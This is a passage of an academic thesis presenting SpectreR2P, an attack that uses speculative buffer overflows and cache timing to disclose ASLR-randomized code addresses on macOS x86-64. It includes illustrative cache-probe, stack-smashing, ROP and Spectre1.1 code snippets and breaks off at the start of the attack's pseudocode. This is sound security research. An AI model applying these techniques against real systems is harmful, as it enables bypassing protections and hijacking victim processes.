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ABSTRACT

Spectre, a class of speculative execution vulnerabilities disclosed in 2018, has

demonstrated weaknesses in existing security protections. Attackers can exploit

speculative buffer overflows, a Spectre variant, to achieve arbitrary speculative code

execution in victims. The security community has not thoroughly explored which

security protections speculative buffer overflows can bypass. Previous literature

assesses that address space layout randomization (ASLR), a security protection

in modern operating systems, effectively mitigates speculative buffer overflow

attacks. I present SpectreR2P, a host-based attack that discloses a victim’s ASLR-

randomized code address via speculative buffer overflow, thereby demonstrating

the ineffectiveness of ASLR against speculative buffer overflows.
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CHAPTER 1

INTRODUCTION

The recent discovery of the Spectre hardware vulnerability has brought into

question the effectiveness of existing security methods. Following Spectre’s discovery

in 2018 [6], security researchers have discovered a multitude of Spectre variants

[7, 5], each with serious implications similar to Spectre. However, the security

community has not thoroughly explored to what extent attackers can use new

Spectre variants to break existing security protections. Specifically, it is unknown

whether speculative buffer overflows, Spectre v1.1, are able to defeat address space

layout randomization (ASLR), a security protection of all modern operating systems

that randomizes a program’s addresses at runtime.

In this thesis, I present SpectreR2P (“Spectre Return to Prefetch”), an attack

that uses a speculative buffer overflow to disclose the randomized runtime address

of a victim process’ instructions. The success of SpectreR2P demonstrates that an

attacker can use a speculative buffer overflow vulnerabilities can to bypass ASLR.

In Chapter 2, I discuss background information required to understand Spec-

treR2P. In Chapter 3, I introduce SpectreR2P and describe how it works in detail.

In Chapter 4, I present performance results of SpectreR2P and compare it to a

previous attack.

Motivation

Spectre affects all modern processors: it is the product of the ability of speculative

execution to modify the state of the cache, even during misspeculation. These two

features, speculative execution and the cache, are essential optimizations for modern

processors. Spectre affects all modern processors, including Intel’s x86-64 processors

(found in most personal computers) and ARM processors (found in virtually all

smartphones). Furthermore, Spectre vulnerabilities affect all programs, even those
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that are bug-free and written correctly. This is because Spectre exploits adverse

interactions between speculative execution and the cache at the microarchitectural

level, rather than the semantic correctness level. The most effective protections

against Spectre to date are software mitigations that require program recompilation

[13]; binaries compiled without Spectre mitigation remain vulnerable.

Speculative buffer overflows, a variant of the Spectre vulnerability discovered

by Kiriansky et al. [5], open up an even wider range of attack methods than

the first Spectre variant [6]. The attacker can adapt existing attacks that target

non-speculative buffer overflows to speculative buffer overflows.

Address space layout randomization (ASLR) is an essential security protection

in modern operating systems and existing literature believes it protects against

speculative buffer overflows.1 If a speculative-buffer-overflow-based attack can

in fact defeat ASLR, however, the attacker can use the traditional exploitation

techniques that ASLR protects against, such as return-oriented programming

(Section 2.4.2), to achieve arbitrary code execution in the victim.

My Contributions

I present SpectreR2P, an attack that exploits a speculative buffer overflow that

discloses the randomized runtime address of a victim process with ASLR enabled.

The success of SpectreR2P demonstrates that ASLR is in fact ineffective against

speculative buffer overflow vulnerabilities under particular conditions (Section 3.3).

My work therefore demonstrates that the original assessment of Kiriansky et al.

[5] underestimates the ability of speculative buffer overflows and overestimates the

effectiveness of ASLR against speculative buffer overflows.

1Kiriansky et al. [5] claim that “[ASLR] is the only generic mitigation currently available
against speculative buffer overflows.”



CHAPTER 2

BACKGROUND

SpectreR2P builds on top of existing speculative execution attacks, employs

existing cache timing attack methods, and adapts existing attacks strategies.

2.1 Execution on Modern Processors

Modern processors implement many optimizations over a sequential processor;

however, they still obey a sequential execution model. Processors have two levels

of abstraction: the instruction set architecture and the microarchitecture.

A processor’s instruction set architecture (ISA), or just “architecture”, describes

the programmable interface provided by the processor, including the instructions

semantics, the register set, and the abstract execution model. Intel’s x86-64 ISA has

64-bit registers and addresses, defines a sequential execution model: the effects of

previous instructions become visible before the effects of any following instructions.

A processor’s microarchitecture (µarch) describes the particular implementation

of the processor’s corresponding ISA. The microarchitecture must meet the specifi-

cations of the ISA. Modern microarchitectures are heavily optimized, employing

out-of-order, superscalar, and speculative execution. However, such microarchi-

tectures must make the program appear to execute sequentially. Nevertheless, a

program can observe side-effects inconsistent with sequential execution in the cache

through timing instructions, as we will see in Sections 2.3 and 2.5.

2.1.1 Out-of-Order and Speculative Execution

Out-of-order execution is a microarchitectural optimization that allows the processor

to execute instructions in a different order than in which they appear, while

maintaining the appearance of sequential execution.
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Some instructions are high-latency and require many processor cycles to com-

plete. Rather than stalling during that long period, the processor will instead

execute subsequent instructions that do not depend upon the result of the high-

latency instruction, covering its high latency and increasing processor instructions

per cycle (IPC). Processors with out-of-order execution may execute instructions

out of order as long as doing so does not affect the program state.

Control flow instructions, e.g., conditional branches, often depend on operands

that may not yet be available. Rather than waiting for the operands to become

available, modern processors will speculate the direction of control flow and proceed

to speculatively execute the instructions along that path. Once the control flow

operand becomes available, the processor either (i) commits the results of the

speculative execution and resumes non-speculative execution where the speculative

execution left off, if the guess was correct, or (ii) discards the results of the specula-

tive execution and resumes non-speculative execution at the control flow instruction,

if the guess was incorrect. In the latter case, we say that the processor misspeculated,

and it misspeculatively executed the wrong execution path. Misspeculative execution

is the transient kind of speculative execution: the processor always discards its

results. Furthermore, whenever speculative execution encounters an error, such

as an invalid memory access, the processor rolls back the speculative execution

context to the closest non-speculative context. 1 Therefore, misspeculation has no

effect on program state.

Listings 2.1 and 2.2 include code examples that may cause (mis)speculative

execution. The program takes the conditional branch in Listing 2.2 99 out of

100 times. Suppose that the processor always speculatively takes the branch if

the result of the comparison operation cmp is not yet available. For the first 99

1In contrast, a non-speculative invalid memory access triggers a segmentation fault and the
process may terminate.



for (int i = 0; i < 100; ++i)
;

return;

Listing 2.1: Basic C for loop

mov eax , 0
loop:

inc eax
cmp eax , 100
jl loop
ret

Listing 2.2: Basic x86 for
loop

loop iterations, the processor speculates correctly and thus commits the results

of speculative execution once cmp resolves. On the last iteration, however, the

processor misspeculates and subsequently discards the results of the misspeculative

execution before reverting to the correct execution path starting with the ret

instruction.

The branch predictor is the processor component that guesses whether the pro-

cessor should take a given branch during speculative execution. Modern processors

have other prediction components, such as the return stack buffer (RSB), which

correspond to different instructions and scenarios.

Section 2.5 presents a class of misspeculative execution vulnerabilities, which

the attack I present exploits.

2.2 The Cache

Caches are an essential feature not only to modern processors but also to modern

attacks. The attack I present uses the cache as a side-channel by causing the victim

to leak information through the cache to the attacking process.

2.2.1 Cache Basics

Accesses to main memory frequent but slow, on the order of 100 ns [9]. This is

a result of both the trade-offs made in the underlying medium (most commonly



capacitor-based DRAM) and the physical distance separating memory from the

CPU. The processor minimizes how much memory access throttles execution by

caching recently accessed memory regions in a memory bank that is closer to the

CPU and faster than main memory. This memory bank is the cache. The cache

line is the unit of contiguous memory around an accessed value that the processor

brings into the cache along with the accessed value. On modern processors, cache

lines are generally 64 bytes in size.

A cache hit occurs when the CPU issues a memory access to memory contents

already present in the cache; a cache miss occurs when the CPU issues a memory

access not present in the cache. A cache miss is an order of magnitude slower than

a cache hit, since the former entails accessing main memory, while the latter only

involves accessing the cache. The timing difference is great enough that it can be

consistently measured using a high-resolution clock, which cache-timing attacks

can exploit, including the one I present.

2.2.2 L1, L2, and Shared L3 Caches

In modern CPUs, “the cache” is actually a cache hierarchy of two or three different

levels, in order of increasing capacity and latency: the L1, L2, and L3 cache.

Each processor core has its own private L1 and L2 caches, but all cores share the

same L3 cache (on most processors). The shared L3 cache has important security

implications: on a multi-core processor, one process can track the memory accesses

of another process through observing cache hits and cache misses while accessing

data occupying the same L3 cache lines as the other process’ data.

In the attack I present, the attacker and victim must share a cache. Since

all cores share the L3 cache, the attack works as long as the attacker and victim

processes run on the same processor but on potentially different cores.



Level Sharing Latency (cycles) Latency (ns)2

L1 private 4 1
L2 private 10 3
L3 shared 65 30

Table 2.1: The cache hierarchy [8].

2.2.3 Cache Flushing and Prefetching

Intel’s X86 instruction set gives the programmer the ability to directly manipulate

the cache through the clflush and prefetch instructions. The clflush instruction

evicts the cache line containing the memory value operand so that subsequent

accesses within that cache line generate cache misses. The prefetch instruction

preforms the opposite operation: it brings the memory value operand (and its

associated cache line) into the cache.

These cache instructions are unique in that they have no effect on architectural

state; they operate at the microarchitectural level. This simultaneously poten-

tial optimization opportunities as well as potential security issues. clflush and

prefetch are essential to cache-timing attacks (Section 2.3).

2.3 Cache Timing Attacks

From an attacker’s perspective, the cache contains an imperfect record of a victim’s

memory accesses. Attackers can recover information about the victim’s memory

access patterns by using a cache timing attack. A cache timing attack involves

timing accesses to the cache and from those access times inferring whether particular

memory regions are in the cache. An attacker can use a cache timing attack to leak

the victim’s secrets.

2Assuming a clock frequency of 3.0GHz, which is common for Intel i7 processors.



#define THRESH <threshold >
/* probe whether *addr
* in cache */

int probe(char *addr) {
int start = __rdtsc ();
char c = *addr;
int stop = __rdtsc ();
return

stop - start < THRESH;
}

Listing 2.3: Basic method of probing
cache for address (C).

%define THRESH <threshold >
;; probe whether [rdi]
;; in cache

probe:
rdtsc
mov edx ,eax
mov bl ,[rdi]
rdtsc
sub eax ,edx
cmp eax ,THRESH
mov eax ,0
cmovl eax ,1
ret

Listing 2.4: Basic method of probing
cache for address (x86 asm).

2.3.1 General Approach

The simplest cache timing attack recovers 1 bit of information from the attacker:

whether it has recently accessed data at a given address. Let the data be at address

A, and suppose the attacker wants to determine whether a victim function F

accesses data at A. The attack then proceeds as follows:

1. Flush the cache line containing A.

2. Induce the victim process to execute F .

3. Probe the cache for data at A.

Probing the cache (Item 3) requires further explanation.

Memory Read Cache Probe

The simplest cache probe of address A is to time a memory read from A using

x86’s time-stamp counter, accessed through the rdtsc instruction [4]. Listings 2.3

and 2.4 presents a minimal example of this simple cache probe.

More sophisticated cache timing attacks use this memory read cache probe

method [14, 15].



#define THRESH <threshold >
/* probe whether *addr
* in cache */

int probe(void (*func)(void)) {
int start = __rdtsc ();
func ();
int stop = __rdtsc ();
return

stop - start < THRESH;
}

Listing 2.5: Function call method of probing
cache for instructions (C).

%define THRESH <threshold >
;; probe whether [rdi]
;; in cache

probe:
rdtsc
push rax
call rdi
rdtsc
pop rdx
sub eax ,edx
cmp eax ,THRESH
mov eax ,0
cmovl eax ,1
ret

Listing 2.6: Function call method of
probing cache for instructions (x86
asm).

2.3.2 Function Call Cache Probe

An alternative approach to the cache probe presented in Section 2.3.1 is to call

address A and time the function’s execution rather than reading directly from A

and timing the read. Executing an instruction involves reading it from memory

first, so a function with cached instructions executes faster than a function with

uncached instructions. Probing the presence of instructions in the cache via a

direct read and via a function call are roughly equivalent. This approach only

works if address A points to executable instructions, which are only found in the

victim’s code or a shared library. In SpectreR2P, the attacker and victim share the

C standard library libc, and the attacker chooses A = isspace. See Listings 2.5

and 2.6 for a minimal example of a function call cache probe.

The advantage to the function call approach is that it is less susceptible to noise

than the direct read approach and it requires less clock precision, since the timing

differences of cache hits versus cache misses accumulate over the execution of the

probed instructions. ARM processors lack a high-precision time-stamp instruction

like x86’s rdtsc, making it difficult to differentiate cache hits versus cache misses

during a single memory read. Therefore, the function call approach is more feasible



than the memory read approach on ARM processors. Zhang et al. demonstrate that

a similar approach involving executing sparse instructions using return-oriented

techniques (Section 2.4.2) is successful on ARM. While SpectreR2P specifically

targets the x86-64 architecture, Zhang et al.’s findings demonstrate it may be

adaptable to ARM as well.

2.4 Stack Attacks and Defenses

Over the two decades, an arms race between attacks and defenses has unfolded.

Attacks and defenses have grown in complexity with time, but modern attack

strategies derive from old attack strategies.

In the following attacks, the ultimate goal of the attacker is to achieve arbitrary

code execution in the victim. My attack seeks to disable a particular defense

(address space layout randomization) that protects against a particular attack

strategy (return-oriented programming) that achieves arbitrary code execution in

the victim. Furthermore, my attack borrows strategies from stack buffer overflow

vulnerabilities and return-oriented programming, applying them to a speculative

execution context.

2.4.1 Stack Buffer Overflows

A buffer overflow is a bug in which a process erroneously writes past the end of

an allocated memory region, e.g., an array. In languages without implicit array

bounds checking, e.g., C and C++, flaws in program logic can cause a process to

write data past the end of the array. Most commonly this occurs when the process

fills a fixed-length buffer with variable-length data. For example, a call to the

C standard library’s char *strcpy(char *dst, char *src), which copies string



? ? ? ? 50 cf 0f 00· · · · · ·

char buf[4] return address

af ec dd ba 50 cf 0f 00· · · · · ·

char buf[4] return address

af ec dd ba ef be ad de· · · · · ·

char buf[4] return address

void smash(char *input) {
/* strlen(input) == 8 */
char buf [4];

...

strcpy(buf , input);

...

/* returns to 0xdeadbeef */
return;

}

Listing 2.7: Stack buffer overflow
source code.

Figure 2.1: Example of a stack buffer overflow. An unbounded strcpy() causes
the current function to return to the address 0xdeadbeef rather than 0x000fcf50.

src into buffer dst, triggers a buffer overflow within strcpy() when the length of

src exceeds the allocated size of dst.3

A process’ call stack contains a series of stack frames. A stack frame consists of

the callee function’s local variables, the return address into the caller function, and

the parameters passed from the caller to the callee. Since program data and control

data are stored adjacently on the stack, writing program data out of bounds on

the stack can corrupt the control data. Therefore, the overflow of a buffer located

on the stack can corrupt the callee function’s return address so that it returns to a

new location. This is often called smashing the stack. If the new, corrupted return

address is invalid, then the callee’s return generates a segmentation fault. If the

corrupted return address is valid, however, the callee successfully returns to and

then executes the instructions at that address. If an attacker controls the data

written to the stack buffer, she controls the new return address of the callee and

3strcpy() can still be used safely, however. To witness the real horrors of buffer overflows,
look no further than the C standard library’s now-deprecated gets() function.



thus the subsequent execution of the victim.

Fig. 2.1 depicts a stack buffer overflow.4 The function smash() contains a stack

buffer overflow vulnerability: it declares a byte 4 buffer buf on the stack, but copies

an unbounded amount of data into the buffer in its call to strcpy(). To exploit

this vulnerability, an attacker can supply an input string of length bytes 8. Since

the length of input exceeds the length of buf, it triggers a stack buffer overflow,

causing the victim to overwrite its return address on the stack with the last bytes 4

of the attacker-controlled input. In the example, the victim returns to the attacker-

defined address 0xdeadbeef. See Aleph One’s seminal article “Smashing the stack

for fun and profit” [10] for details on stack smashing and its origins.

The simplest kind of stack-smashing attack overflows the victim’s buffer with

malicious instructions in addition to a new return address that points to those

instructions. The victim returns to and then executes the malicious instructions on

the stack. To protect against this attack strategy, operating systems introduced the

WˆX protection (read “write xor execute”): segments may be either writable or

executable, but never both.5 Consequently, attackers cannot write to the victim’s

executable segments, rendering stack smashing impossible. Attackers responded

with code-reuse attacks, exemplified by the following attack paradigm.

2.4.2 Return-Oriented Programming

Return-oriented programming (ROP) attacks exploit stack buffer overflow vulnera-

bilities by injecting a sequence of so-called gadgets into a victim process’ stack frame.

Gadgets are short series of instructions traditionally ending in a return instruction

(ret) that the attacker can chain together to perform arbitrary computation in

4The example assumes 32-bi addresses for simplicity. My attack targets Intel’s x86-64 ISA,
which has 64-bit addresses.

5Yes, ∼(W&X) would have been a more accurate name.



0x751a1035

0x751a9023

0x751b210f

char buf[4]

· · ·

· · ·
0x7fff0000

0x7fff0010

...

0x751a1035: call system

ret

...

0x751a9023: add rdi,12

ret

...

0x751b210f: mov rdi,rsp

ret

...

instructionsthe stack

stack pointer

Figure 2.2: Example of a ROP attack. The attacker has corrupted the victim’s
stack with gadget addresses.

the in the victim [11]. However, the attacker can only use gadgets in the victim’s

code segment or shared libraries because under WˆX, the victim cannot execute

the stack or any other writable segment.

When the victim process enters the vulnerable function, the stack buffer overflow

(Section 2.4.1) causes the victim to overwrite the current function’s return address

and following data with attacker-specified return addresses pointing to gadgets.

Upon returning from the current function, the victim returns to the first gadget

in the gadget chain. When the victim reaches the return instruction in the first

gadget, it returns to the next gadget return address on the stack. Execution of the

ROP chain continues in this fashion.

Fig. 2.2 shows an example of victim process’ stack that a ROP attack has

corrupted. The first three return addresses point to gadgets at 0x751b210f,

0x751a9023, 0x751a1035. After returning from the current function, the vic-

tim executes the gadgets in order: (i) mov rdi,rsp, (ii) add rdi,8, (iii) call

system. These three instructions in sequence cause the victim to compute the



address of an attacker-controlled path string on the stack and then call the C

library function system() to execute the binary at that path, achieving arbitrary

code execution.

2.4.3 Address Space Layout Randomization

ROP attacks require knowledge of the victim’s instruction addresses to inject the

correct gadget addresses onto the victim’s stack. Operating systems introduced

address space layout randomization (ASLR) as a protection against ROP attacks.

ASLR randomizes the base address of processes during launch, so that attackers do

not know where find gadgets.

Furthermore, it randomizes each of a process’ segments, including the stack,

heap, and code (traditionally “text”) segment, separately. We measure the size

of the randomized address space in bits of entropy, i.e., the number of bits in

an address that ASLR randomizes. If there are 256 possible base addresses of a

program’s code segment, then the code address space has b = log2(256) = 8 bits of

entropy. See Table 2.3 for ASLR characteristics on macOS.

Since only the code segment contains gadgets, ASLR’s randomization of the code

segment base address is essential to defending against ROP attacks. However, ASLR

does not randomize the ordering of functions within a process’ code segment, so the

offsets of instructions within the code segment are fixed. Therefore, if the attacker

knows the runtime address of one so-called anchor instruction in the victim’s code,

then she knows the address of all other instructions. My attack bypasses ASLR by

disclosing the address of an anchor instruction within the victim’s code.



(unused) fixed by OS ASLR randomized bits page offset
16 36− n n 12

Table 2.2: Dissection of an ASLR-randomized 64-bit virtual address on x86-64.

Segment Bits of entropy Lowest address Highest address
Stack 18 0x7ffec0000000 0x7ffefffff000

Heap 20 0x7f0000400000 0x7ffffff02000

Code 16 0x100000000 0x10ffff000

Table 2.3: Address space layout randomization (ASLR) bits of entropy and ran-
domized address ranges on macOS 10.14 (for 64-bit programs).

Randomized Address Space Size

While theoretical maximum bits of entropy on a 64-bit processor is equal to the

word size bmax = 64, ASLR implementations only use a fraction of these available

bits.

1. The most significant 16 bits of virtual addresses are unused on x86-64 proces-

sors [3].

2. The least significant 12 bits of virtual addresses correspond to the byte offset

within a KB 4 = B 212 memory page.6

3. Operating systems fix an implementation- and segment-dependent number

of most significant bits within the 48 valid virtual address bits. The code

segment, heap, and stack are always mapped to non-overlapping address

ranges.

Table 2.2 dissects a 64-bit virtual address randomized under ASLR. On macOS,

n = bits 16 in the table; these are the number of bits of entropy available to ASLR.

6Memory pages on all modern platforms are at least KB 4 in size. Larger memory pages do
exist, and they further reduce the number of address bits available to ASLR.



2.5 Spectre

Spectre is a class of attacks that exploit speculative execution vulnerabilities to

cause a victim to leak secret information through the cache. While subsequently

discarded speculative execution does not affect a process’ state, it can still have mea-

surable microarchitectural side-effects. Specifically, a cache miss during speculative

execution causes the corresponding cache line to be brought into the cache, even if

the speculative execution is subsequently discarded. Spectre attacks then probe the

cache to recover the victim’s secrets. I developed my attack around a speculative

buffer overflow vulnerability in a victim process, and my attack incorporates a

Spectre-style attack strategy.

Kocher et al. presented the first Spectre attack [6], called Spectre1.0. Their

attack induces a speculative bounds-check bypass on a read from an array, causing

the victim to leak sensitive information to the cache.

2.5.1 Spectre1.1: Speculative Buffer Overflows

Kiriansky and Waldspurger introduced speculative buffer overflows (a.k.a. Spec-

tre1.1) [5], a speculative execution vulnerability that exploits a speculative bounds-

check bypass on writes to an array. A Spectre1.1 attack uses a speculative buffer

overflow to cause the victim to misspeculatively return to an attacker-defined

address. Speculative buffer overflows attacks achieve arbitrary misspeculative code

execution in the victim, much as traditional buffer overflows achieve arbitrary (non-

speculative) code execution in the victim (Section 2.4.1). However, the usefulness

of arbitrary speculative code execution is limited, since the misspeculation does

not affect the victim’s architectural state. only its microarchitectural state, e.g.,

the cache contents. Instead, the attack must cause the victim to speculatively

execute instructions that have permanent microarchitectural side effects that the



uint64_t arr_len;
...
void func(uint64_t arr[], uint64_t index , uint64_t val) {

if (index < arr_len)
arr[index] = val;

}

Listing 2.8: Example Spectre1.1 vulnerability (C).

;; %rdi -- uint64_t arr[]
;; %rsi -- uint64_t index
;; %rdx -- uint64_t val

func:
cmp rsi , [arr_len]
jge .end
mov [rdi + 8*rsi], rdx

.end:
ret

...
arr_len: resd 1

Listing 2.9: Example Spectre1.1 vulnerability (x86).

Committed Speculative

;rdx == 0xdeadbeef

;ret. addr. @ [rdi+8*rdi]

cmp rsi, [arr len]

jge .end ;branch not taken

mov [rdi+8*rsi], rdx ;overwrites return address

ret ;returns to 0xdeadbeef

. . .

(cmp finishes executing) discarded: branch misprediction

jge .end ; branch taken

ret

Figure 2.3: Execution trace of a speculative buffer overflow, causing the victim to
speculatively return to the attacker-controlled address 0xdeadbeef.



attacker can measure. For example, memory accesses and the prefetch instruction

permanently modify cache contents when executed (mis)speculatively. My attack

causes the victim to misspeculatively execute a prefetch instruction and probes

for its cache side effects.

Furthermore, the processor’s maximum speculative execution window limits

the length of speculative buffer overflow attack payloads. Modern processors

can speculatively execute up to around 100 instructions before committing any

results [5], so the entire attack payload must execute within that brief window

of misspeculative execution before the processor discards its results and reverts

control flow to the correct execution path.

See Fig. 2.3 for an example of a speculative buffer overflow in action. Listings 2.8

and 2.9 shows a function containing a speculative buffer overflow vulnerability. The

function checks if a given index is within bounds of an array; if it is, it updates the

value at that index. An attacker trains the victim’s branch predictor to predict that

the index is in-bounds. Then, the attacker supplies the vulnerable function with

an out-of-bounds index and an attacker-controlled address in value (0xdeadbeef

in the figure). The high-latency index and array length comparison instruction and

subsequent branch causes the victim to speculatively fall through the branch and

speculatively overwrite the function’s return address with the contents of value,

0xdeadbeef. The victim proceeds to speculatively execute instructions at address

0xdeadbeef until the bounds comparison instruction resolves.

2.6 Conclusion

Speculative execution, an optimization in modern processors, can leak information

via microarchitectural side-channels such as the cache, which an attacker can sub-

sequently cover using a cache timing attack. Spectre attacks exploit the attack



surface that speculative execution exposes. Speculative buffer overflows, a Spectre

variant, adapt traditional stack buffer overflow and return-oriented programming

techniques to a speculative execution context in order to achieve arbitrary mis-

speculative execution in a victim. While arbitrary misspeculative execution is

of limited usefulness on its own, an attacker can use it to bypass address space

layout randomization and launch a return-oriented programming attack at the now

unprotected victim.



CHAPTER 3

MY WORK: THE ATTACK

I present a new host-based attack that bypasses address space layout random-

ization (ASLR) via a speculative buffer overflow vulnerability on an x86-64 system.

The attack has three distinguishing features: (i) its brute-force approach to bypass

ASLR by probing all possible instruction address mappings of the victim process;

(ii) its use of the instruction cache 1 to indirectly leak information from the victim

to the attacker in order to differentiate correct and incorrect guesses; and (iii) its

preservation of the victim’s program state, i.e., its ability to not crash the victim.

Fig. 3.1 demonstrates the basic control flow of the attack. In this chapter, I

discuss the attack model and the attack’s preconditions, exhibit the core components

of the attack in pseudo-code, and explain each step of the attack. I focus on how

the attack exploits a speculative buffer overflow to cause victim to leak information

to the instruction cache and how the attacker recovers that information from the

instruction cache.

3.1 Attack Model

The following list describes the victim that the SpectreR2P targets, the platform

on which the attack occurs, and the attack’s goal.

1. Host-based: The attack is a host-based (in contrast to network-based) attack;

that is, the entire attack takes place on a host machine.

2. macOS 10.14 OS: The attack targets a machine running the macOS 10.14

operating system. It can in theory work on other operating systems, as long

as the requirements detailed in Section 3.3 are satisfied.

1Intel x86-64 processors have a unified cache rather than distinct instruction and data caches,
but the unified cache functions as an instruction cache in the attack.
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Figure 3.1: SpectreR2P control flow diagram. Steps enclosed in square brackets
only occur sometimes.

3. ASLR enabled: The attack assumes that address space layout randomiza-

tion (ASLR) is enabled on the host operating system. The OS will map the

victim process’ code segment to a random address at runtime.

4. x86-64 processor: The target machine must be running on an Intel x86-64

processor.

5. Victim process: The victim of the attack is a process running on the

same host machine belonging to a different user. It reads input from an

attacker-controlled source and performs computation based on that input.

6. Goal: The attacker’s goal is to learn the aforementioned randomized base

address of the victim process’ code segment. The attacker can then use this

address for a return-oriented programming attack to achieve arbitrary code

execution in the victim.

Item 3 requires further discussion. Kiriansky and Waldspurger [5] conclude

that ASLR is effective against speculative buffer overflows in absence of other



information leaks.2 I will demonstrate, however, that SpectreR2P succeeds even

with ASLR enabled; in fact, the purpose of the attack is to use a speculative buffer

overflow to determine the victim’s ASLR-randomized code address.

3.2 Attack Motivation

The attacker’s goal is to learn the randomized base address of the victim process’

code segment. The attacker can subsequently use this address in a traditional ROP

attack to achieve arbitrary code execution in the victim process. See Sections 2.4.2

and 2.4.3 for a discussion of ROP and ASLR.

3.3 Attack Requirements and Constraints

In order for SpectreR2P to succeed, (i) the victim must have a speculative buffer

overflow vulnerability, (ii) the attacker must have access to the L3 shared cache of

the victim, (iii) the victim’s code must contain a prefetch instruction, and (iv)

the attacker must have one direct line of communication with the victim.

Speculative Buffer Overflow Vulnerability

The victim program must contain a speculative buffer overflow vulnerability (Sec-

tion 2.5.1). Furthermore, the attacker must be able to trigger the speculative buffer

overflow in the victim, e.g., by supplying the victim with a particular input. The

victim must also control a victim register during the speculative buffer overflow

(discussed in Section 3.4.1).

2Kiriansky and Waldspurger state that ASLR “is the only generic mitigation currently available
against speculative buffer overflows, and it mitigates both code and data attacks” [5]



L3 Shared Cache

The attacker and victim must share the L3 cache. Since all cores on a physical

processor shared the same L3 cache (Section 2.2), SpectreR2P works when the

attacker and victim processes are running on separate cores, but not when they are

running on separate processors.

prefetch Instruction

The victim program must contain a prefetch instruction somewhere within its

code segment. It does not matter whether the victim intends to execute this

instruction or whether it is hidden inside of other instructions.3 The shortest

prefetch instructions assemble to three bytes, e.g., prefetchw [rax] assembles

to 0x0f 0x0d 0x08. If the victim’s code does not contain a prefetch instruction,

any memory access instruction should work as well4, although I have not tested

with memory access instructions other than prefetch.

Direct Line of Communication

SpectreR2P requires a direct line of communication between the attacker and the

victim. The attacker uses this channel to cause the victim process to execute

its speculative buffer overflow vulnerability. Most commonly, this direct line of

communication is the attacker-controlled standard input or a regular file authored

by the attacker. In my coming demonstration of SpectreR2P, the victim will read

from the attacker through a FIFO for ease of timing.

3Intel x86 is a variable-length instruction set, so the latter is a possibility.
4Excluding an instruction fetch, based on empirical results.



Shared Library

Finally, the attack requires that the attacker and victim processes have the same

shared library mapped into memory. Sharing libraries is common: the majority of

all processes have the C standard library, libc, mapped into memory. Furthermore,

the attacker and victim must have this library mapped to the same address. While

this is more restrictive, some operating systems including macOS 10.14 map system

libraries, including libc, to the same address for all processes for efficiency reasons.

For example, the attacker’s address of the isspace C function would be equal to

the victim’s address of the isspace C function.

From now on, assume that these five requirements are satisfied.

3.4 Attack Components

In this section, I introduce the necessary components for constructing SpectreR2P.

The goal of SpectreR2P is to find the ASLR-randomized runtime base address of

the victim’s code segment. ASLR does not randomize instruction ordering inside

the victim’s code, however, so the instructions are at a fixed offset from the base of

the code segment. Therefore, it suffices to find the address of an anchor instruction

that has an identifiable effect when the speculatively executed by the victim. A

speculative buffer overflow is the only method at the attacker’s disposal to cause

the victim to visit that instruction (Section 3.3).

3.4.1 Choosing an Anchor: prefetch

SpectreR2P uses a prefetch instruction as the anchor in the victim’s code. Unlike

almost all other x86 instructions, it has the same effect when speculatively executed

as when normally executed. Since the attacker and victim share the L3 cache



(Section 3.3), the attacker can observe when the victim prefetches data at a

predetermined address, given that the attacker already knows the address to look

at.

The attacker must control the memory operand to the prefetch instruction,

which specifies the address of the data to fetch into the cache. If the anchor instruc-

tion is prefetch [rax], the attacker must control the address in rax during the

speculative buffer overflow. While this adds an additional restriction to SpectreR2P,

the attacker likely controls the register rax anyway because the victim is operating

on attacker-controlled input (Section 3.3). Furthermore, I discuss an alternative

approach that does not require the attacker to control an additional register in

Section 5.1.3.

The Prefetch Target: Shared Data

One challenge is that data’s physical address, not its virtual address, identify its

containing cache lines in x86-64. If the victim and attacker each have the same file

mapped into memory but at different virtual addresses, the two copies of identical

file data will share the same cache line despite having distinct virtual addresses.

A common example of this situation is when two processes map the same shared

library into memory, e.g., libc. Suppose the C library function isspace has virtual

address x in the victim but virtual address y in the attacker. If the victim prefetches

x, the attacker’s subsequent read from y will result in a cache hit.

SpectreR2P uses this method to leak information from the victim to the attacker.

On macOS 10.14, the platform on which I implemented SpectreR2P, disables ASLR

for shared system libraries for efficiency reasons, so in the above example, x = y

for all processes. For simplicity, assume from now on that the OS maps shared

libraries to the same virtual addresses in the attacker and victim.5 In Section 5.1.3,

5In disabling ASLR for system libraries, processes on macOS are vulnerable to traditional



I discuss an alternative approach that avoids this additional requirement.

Probing the Cache for Shared Data

The intermediate goal of the attacker is to induce the victim process to execute a

target prefetch instruction that loads shared data into the shared L3 cache. Let

the shared data have address A. The attack determines whether it succeeded in

inducing the victim to speculatively execute the target prefetch instruction using

the function call cache probe introduced in Section 2.3.

From now on, assume that SpectreR2P uses the libc function isspace as

the shared function (i.e. A == isspace) that the victim prefetches into the L3

cache and the attacker probes for in the L3 cache. I chose isspace for SpectreR2P

because its implementation is short (95 bytes on my testing platform, macOS 10.14),

so its instructions are almost entirely contained with one cache line. When the

victim executes prefetch [isspace], it brings a sufficient portion of isspace’s

instructions into the cache.

We now have developed all the individual components that SpectreR2P employs.

In the following section, I describe SpectreR2P in a top-down fashion to demonstrate

how the attacker can compose the individual components to launch a successful

attack.

3.5 Attack Analysis

Algorithm 1 presents pseudocode for SpectreR2P. The attack is fundamentally

a brute-force search; it examines all possible addresses and picks the most likely

correct address from all of those. The attack proceeds in rounds, each round

ROP attacks as well. This seems like a poor decision from a security standpoint. Regardless,
ASLR is enabled for a process’ private mappings, including its code segment, which is the target
of SpectreR2P.



constituting a single guess at the address of the target prefetch instruction in

the victim process. Rounds correspond to iterations of the for loop on line 3 of

Algorithm 1.

3.5.1 Attack Overview

For each possible randomized address a of prefetch in the victim, SpectreR2P

flushes the shared library function isspace from the L3 cache. After that, the

attack causes the victim to speculatively execute the instructions at address a via a

speculative buffer overflow. It then calls isspace (s in the pseudocode) and times

its execution. If our guess a was correct, then we expect a short execution time,

because the victim speculatively prefetched isspace. If our guess a was incorrect,

we expect a long execution time, because the victim did not bring isspace back

into the cache after the attack flushed it from the L3 cache. We keep a running

minimum of the shortest execution time and the value of a corresponding to that

shortest execution time, storing those in mt and ma, respectively. Once we have

iterated through all possible addresses, we return the final value of ma as our final

guess of the victim’s randomized address of prefetch.

3.6 Attack Timing

Timing in the attack is essential to success but difficult to orchestrate. The attack

is most accurate when the attacker and victim are tightly in sync, but it is difficult

to know in advance how long the attacker must wait between events in order to

keep in sync with the victim. The timing depends greatly on the host machine’s

background workload, which the attacker cannot know in advance. Fig. 3.1 contains

a timing diagram for the order in which events must occur between the attacker



Input:

• a writable file f that the victim reads from

• lowest and highest possible randomized base address l and h of victim’s
code segment

• the address s of a shared library function

• offset o of prefetch instruction within victim’s code segment

